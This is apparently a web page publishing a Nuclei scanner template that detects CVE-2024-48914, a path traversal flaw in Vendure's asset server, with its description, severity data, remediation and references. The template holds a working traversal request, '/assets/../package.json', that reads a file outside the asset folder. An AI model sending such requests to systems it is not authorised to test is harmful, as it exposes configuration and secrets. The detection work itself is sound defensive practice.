Skip to content

Vendure - Arbitrary File Read

ID: CVE-2024-48914

Severity: critical

Author: s4e-io

Tags: cve,cve2024,vendure,lfi,file-read

Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure’s asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI.

id: CVE-2024-48914
info:
name: Vendure - Arbitrary File Read
author: s4e-io
severity: critical
description: |
Vendure is an open-source headless commerce platform. Prior to versions 3.0.5 and 2.3.3, a vulnerability in Vendure's asset server plugin allows an attacker to craft a request which is able to traverse the server file system and retrieve the contents of arbitrary files, including sensitive data such as configuration files, environment variables, and other critical data stored on the server. In the same code path is an additional vector for crashing the server via a malformed URI.
impact: |
Allows attackers to read arbitrary files on the server, including sensitive data such as configuration files and environment variables.
remediation: |
Patches are available in versions 3.0.5 and 2.3.3. Some workarounds are also available. One may use object storage rather than the local file system, e.g. MinIO or S3, or define middleware which detects and blocks requests with urls containing `/../`.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48914
- https://github.com/EQSTLab/CVE-2024-48914
- https://github.com/vendure-ecommerce/vendure
- https://github.com/vendure-ecommerce/vendure/blob/801980e8f599c28c5059657a9d85dd03e3827992/packages/asset-server-plugin/src/plugin.ts#L352-L358
- https://github.com/vendure-ecommerce/vendure/commit/e2ee0c43159b3d13b51b78654481094fdd4850c5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2024-48914
cwe-id: CWE-20
epss-score: 0.00045
epss-percentile: 0.16453
metadata:
verified: true
max-request: 1
vendor: vendure-ecommerce
product: vendure
fofa-query: "Vendure"
tags: cve,cve2024,vendure,lfi,file-read
http:
- method: GET
path:
- "{{BaseURL}}/assets/../package.json"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "name", "version", "main" ,"license")'
- 'contains(content_type, "application/octet-stream")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450220516f74726cd5a64525a3f9e44c825b8964ac51fde3d5965eedd76f02c9f6ff540221008daa1c5bd77797855470a57a591e0ecb755ee48717723791de8b5eba779eb162:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-48914.yaml"

View on Github